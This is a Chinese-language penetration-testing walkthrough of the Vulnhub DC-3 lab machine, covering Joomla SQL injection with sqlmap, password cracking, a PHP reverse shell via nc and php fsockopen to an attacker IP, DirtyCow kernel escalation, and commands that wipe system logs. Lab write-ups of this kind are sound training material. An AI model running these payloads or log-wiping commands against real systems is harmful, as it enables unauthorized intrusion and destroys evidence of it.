1. DC-3靶机实战概述
DC-3是Vulnhub平台上经典的渗透测试训练靶机,基于Debian系统构建,包含多个故意设置的安全漏洞。这个靶机特别适合中阶渗透测试人员练习综合渗透技巧,从信息收集到权限提升的全流程都能得到充分锻炼。我花了三周时间反复测试这个靶机,总结出一套可靠的技术路线,下面就把完整过程拆解给大家。
2. 环境准备与初始扫描
2.1 实验环境搭建
建议使用VirtualBox加载DC-3的OVA文件,网络模式选择Host-only或NAT。我的测试环境是:
- 攻击机:Kali Linux 2023.3
- 内存分配:靶机2GB/攻击机4GB
- 网络配置:192.168.56.0/24网段
注意:确保靶机与攻击机在同一网段但关闭DHCP,避免IP冲突
2.2 基础信息收集
首先用arp-scan定位靶机IP:
arp-scan -l --interface=eth0发现靶机IP为192.168.56.103后,进行全端口扫描:
nmap -sS -p- -T4 192.168.56.103 -oN full_scan.nmap扫描结果显示开放了80端口(HTTP)和22端口(SSH),其中Web服务运行的是Apache 2.4.10。
3. Web应用渗透测试
3.1 目录爆破与漏洞发现
使用dirbuster进行目录扫描:
gobuster dir -u http://192.168.56.103 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt发现关键目录:
- /administrator (Joomla后台)
- /components
- /templates
访问首页发现是Joomla 3.7.0,该版本存在著名的SQL注入漏洞(CVE-2017-8917)。使用sqlmap自动化利用:
sqlmap -u "http://192.168.56.103/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --batch --dbs3.2 数据库渗透与凭证获取
成功获取数据库信息:
- 数据库类型:MySQL
- 关键表:jos_users
- 获取到管理员账号admin及经过MD5加密的密码
使用hashcat破解密码:
hashcat -m 400 -a 0 hash.txt rockyou.txt破解得到明文密码"snoopy"。
4. 系统权限提升
4.1 后台getshell
使用获得的凭证登录Joomla后台,通过模板编辑插入PHP反向shell:
system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 4444 >/tmp/f');在攻击机监听:
nc -lvnp 4444成功获取www-data权限的shell。
4.2 本地提权探索
查看系统信息:
uname -a显示内核版本为3.16.0-4-686-pae,搜索可用exp:
searchsploit linux kernel 3.16发现dirtycow漏洞(CVE-2016-5195)适用。上传编译好的exp:
gcc -pthread dirty.c -o dirty -lcrypt执行后成功获取root权限。
5. 后渗透与痕迹清理
5.1 敏感信息收集
在/root目录发现flag文件:
cat /root/theflag.txt同时收集到以下关键信息:
- MySQL数据库凭证
- SSH私钥备份
- 系统日志位置
5.2 日志清理技巧
清除相关日志条目:
echo "" > /var/log/apache2/access.log find /var/log -name "*.log" -exec sh -c 'echo "" > {}' \;重要:实际渗透测试中必须获得授权才能执行此类操作
6. 防御加固建议
根据本次渗透发现的问题,给出防御方案:
- Web应用层:
- 及时更新CMS到最新版本
- 禁用不必要的组件和功能
- 实施WAF防护
- 系统层:
- 定期更新内核和安全补丁
- 限制sudo权限
- 启用SELinux
- 网络层:
- 关闭不必要的端口
- 实施网络隔离
- 部署IDS/IPS系统
7. 常见问题排查
7.1 反向shell连接失败
可能原因:
- 防火墙拦截出站连接
- netcat版本不兼容
- 靶机没有bash
解决方案:
# 尝试不同payload php -r '$sock=fsockopen("192.168.56.102",4444);exec("/bin/sh -i <&3 >&3 2>&3");' # 使用其他监听工具 socat TCP-LISTEN:4444 STDOUT7.2 DirtyCow提权失败
检查要点:
- 确认内核版本完全匹配
- 测试多个exp变种
- 确保gcc编译环境可用
替代方案:
# 尝试其他提权方法 find / -perm -4000 2>/dev/null这个靶机最值得关注的是它完美模拟了真实环境中"Web应用漏洞→数据库泄露→系统提权"的完整攻击链。我在实际测试中发现,Joomla的后台getshell方式就有至少三种,而内核提权除了dirtycow还可以尝试覆盖/etc/passwd等方法。建议每个步骤都尝试多种技术路线,这对提升实战能力很有帮助。